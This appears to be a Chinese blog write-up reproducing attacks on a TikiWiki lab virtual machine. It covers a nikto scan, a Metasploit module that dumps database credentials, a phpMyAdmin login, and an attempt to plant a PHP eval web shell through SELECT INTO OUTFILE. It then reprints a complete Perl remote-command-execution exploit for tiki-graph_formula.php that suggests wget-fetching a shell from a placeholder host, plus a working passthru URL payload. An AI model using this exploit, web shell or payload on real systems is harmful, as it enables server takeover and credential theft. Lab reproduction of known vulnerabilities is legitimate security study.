tiki-graph_formula.php代码执行漏洞复现(或许??)
1.不知道从哪里翻出来的虚拟机镜像(不知道甚么时候出现在磁盘里面的)
靶机镜像:https://pan.baidu.com/s/1ZgW8WaqXp8ULJbKCSgauFg
提取码: 1y8f
打开配置一下是tikiwiki这个东西

2.遇到陌生的玩意总是忍不住好奇心的,打开nikto扫描一下,发现有些奇怪的东西

本来没抱希望的,没想到还真扫描出来了,里面有一个phpinfo.php,一个phpMyAdmin,一个似乎是TikiWiki漏洞
3.Metasploit
打开msf,search一下tikiwiki

五个payload,逐个试
use auxiliary/admin/tikiwiki/tikidblib #载入这个poc
set RHOSTS 192.168.5.129 #靶机IP
show options #看一下有没有错误
run #攻击

攻击成功?(嗯,确实成功了,未免有点简单过头了),这里拿到了数据库用户名密码,包括数据库名
4.phpMyAdmin
利用攻击获得的账户密码,登一下试试,登陆成功

5.getshell && mysql 写马
这里因为直接拿到root账户(Dba),因此可以直接往里面写一句话
写shell INTO OUTFILE/DUMPFILE
SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/tikiwiki/cmd.php';
试了下,写不进去,报错无法创建文件

打算日志备份写入,结果发现,如下图

wtf?,没有这个变量?
再看看有没有写入权限
SHOW VARIABLES LIKE 'secure_file_priv';

摘自:https://blog.csdn.net/Auuuuuuuu/article/details/83690362
发现,可以写,但是NMD,为什么?

5.焦灼
phpMyAdmin3.0(exploit/unix/webapp/phpmyadmin_config)的漏洞也尝试了,无果。
后面再去翻nikto的扫描结果

这里明显是一个代码注入,可以执行phpinfo()
百度翻了老半天,问题就出在tiki-graph_formula.php这里,果然搜到一个exp

大致看了下

这里似乎是利用passthru()来进行命令执行
完整exp
链接地址:https://www.exploit-db.com/exploits/4525
#!/usr/bin/perl
# TikiWiki <= 1.9.8 Remote Command Execution Exploit
#
# Description
# -----------
# TikiWiki contains a flaw that may allow a remote attacker to execute arbitrary commands.
# The issue is due to 'tiki-graph_formula.php' script not properly sanitizing user input
# supplied to the f variable, which may allow a remote attacker to execute arbitrary PHP
# commands resulting in a loss of integrity.
# -----------
# Vulnerability discovered by ShAnKaR <sec [at] shankar.antichat.ru>
#
# $Id: milw0rm_tikiwiki.pl,v 0.1 2007/10/12 13:25:08 str0ke Exp $ use strict;
use LWP::UserAgent; my $target = shift || &usage();
my $proxy = shift;
my $command; &exploit($target, "cat db/local.php", $proxy); print "[?] php shell it?\n";
print "[*] wget http://www.youhost.com/yourshell.txt -O backups/shell.php\n";
print "[*] lynx " . $target . "/backups/shell.php\n\n"; while()
{
print "tiki\# ";
chomp($command = <STDIN>);
exit unless $command;
&exploit($target, $command, $proxy);
} sub usage()
{
print "[?] TikiWiki <= 1.9.8 Remote Command Execution Exploit\n";
print "[?] str0ke <str0ke[!]milw0rm.com>\n";
print "[?] usage: perl $0 [target]\n";
print " [target] (ex. http://127.0.0.1/tikiwiki)\n";
print " [proxy] (ex. 0.0.0.0:8080)\n";
exit;
} sub exploit()
{
my($target, $command, $proxy) = @_; my $cmd = 'echo start_er;'.$command.';'.'echo end_er'; my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd)); my $conn = LWP::UserAgent->new() or die;
$conn->agent("Mozilla/4.0 (compatible; Lotus-Notes/5.0; Windows-NT)");
$conn->proxy("http", "http://".$proxy."/") unless !$proxy; my $out=$conn->get($target."/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.passthru($byte).die()&t=png&title="); if ($out->content =~ m/start_er(.*?)end_er/ms) {
print $1 . "\n";
} else {
print "[-] Exploit Failed\n";
exit;
}
} # milw0rm.com [2007-10-12]
7.Getshell
存在代码执行漏洞,那么,修改一下payload
http://192.168.5.129//tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.passthru('whoami').die()&t=png&title=http://cirt.net/rfiinc.txt

有一个问题,就是这里只能执行单个命令,输入带参数的命令的话,个人觉得应该把命令转化为比特流(exp上大致也是这么处理的)
最后补上,这个模块我在msf上面找到了
Matching Modules
================ # Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/tikiwiki_graph_formula_exec 2007-10-10 excellent Yes TikiWiki tiki-graph_formula Remote PHP Code Execution
tiki-graph_formula.php代码执行漏洞复现(或许??)的更多相关文章
- Tomcat/7.0.81 远程代码执行漏洞复现
Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...
- Windows CVE-2019-0708 远程桌面代码执行漏洞复现
Windows CVE-2019-0708 远程桌面代码执行漏洞复现 一.漏洞说明 2019年5月15日微软发布安全补丁修复了CVE编号为CVE-2019-0708的Windows远程桌面服务(RDP ...
- DedeCMS V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221)
dedeCMS V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221) 一.漏洞描述 织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统.Dedecms V5.7 SP2 ...
- IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现
CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...
- IIS6远程代码执行漏洞复现CVE-2017-7269
简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ...
- Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御
摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...
- Apache log4j2 远程代码执行漏洞复现👻
Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...
- PHP远程代码执行漏洞复现(CVE-2019-11043)
漏洞描述 CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码. 向Nginx + PHP-FPM的服务 ...
- WinRAR代码执行漏洞复现
漏洞介绍 WinRAR 是一款流行的解压缩工具,据其官网上发布的数据,全球有超过5亿的用户在使用 2019年2月20日,安全厂商 checkpoint 发布了名为<Extracting a 19 ...
随机推荐
- 模板汇总——Tarjian
1. 单向边 + 新图建边 int belong[N], dfn[N], low[N], now_time, scc_cnt; stack<int> s; void dfs(int u) ...
- hdu 1078 FatMouse and Cheese(简单记忆化搜索)
题目链接 http://acm.hdu.edu.cn/showproblem.php?pid=1078 题意:给出n*n的格子,每个各自里面有些食物,问一只老鼠每次走最多k步所能吃到的最多的食物 一道 ...
- Erlang模块gen_tcp翻译
概述 TCP/IP套接字接口 描述 gen_tcp模块提供了使用TCP / IP协议与套接字进行通信的功能. 以下代码片段提供了一个客户端连接到端口5678的服务器的简单示例,传输一个二进制文件并关闭 ...
- 【Offer】[45]【把数组排成最小的数】
题目描述 思路分析 测试用例 Java代码 代码链接 题目描述 输入一个正整数数组,把数组里所有数字拼接起来排成一个数,打印能拼接出的所有数字中最小的一个.例如,输入数组{3,32,321},则打印出 ...
- 【Offer】[18-2] 【删除链表中重复的节点】
题目描述 思路分析 测试用例 Java代码 代码链接 题目描述 在一个排序的链表中,存在重复的结点,请删除该链表中重复的结点,重复的结点不保留,返回链表头指针. 例如,链表1->2->3- ...
- React Hooks 你不来了解下?
前言 最近在看 React 的新语法-- React Hooks,只能一句话概括:React 语法真的是越来越强大,越写代码越少. 强烈推荐还没看 React Hooks 的同学去学习下,这会让你写r ...
- 人体行为识别(骨架提取),搭建openpose环境,VS2019(python3.7)+openpose
这几天开始接触人体行为识别,经过多方对比后,选择了现在最热的人体骨架提取开源库,openpose. 下面就不多说了,直接开始openpose在win10下的配置: 需求如下:1. VS2019 ...
- 深入理解Three.js中透视投影照相机PerspectiveCamera
前言 在开始正式讲解透视摄像机前,我们先来理理three.js建模的流程.我们在开始创建一个模型的时候,首先需要创建我们模型需要的物体,这个物体可以是three.js中已经为我们封装好的,比如正方体, ...
- Day 13 linux 的输入输出与管道的使用
1.重定向概述 1.什么是重定向 将原本要输出到屏幕的数据信息,重新定向到某个指定的文件中.比如:每天凌晨定时备份数据,希望将备份数据的结果保存到某个文件中.这样第二天通过查看文件的内容就知道昨天备份 ...
- Vue学习之vue中的计算属性和侦听器
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...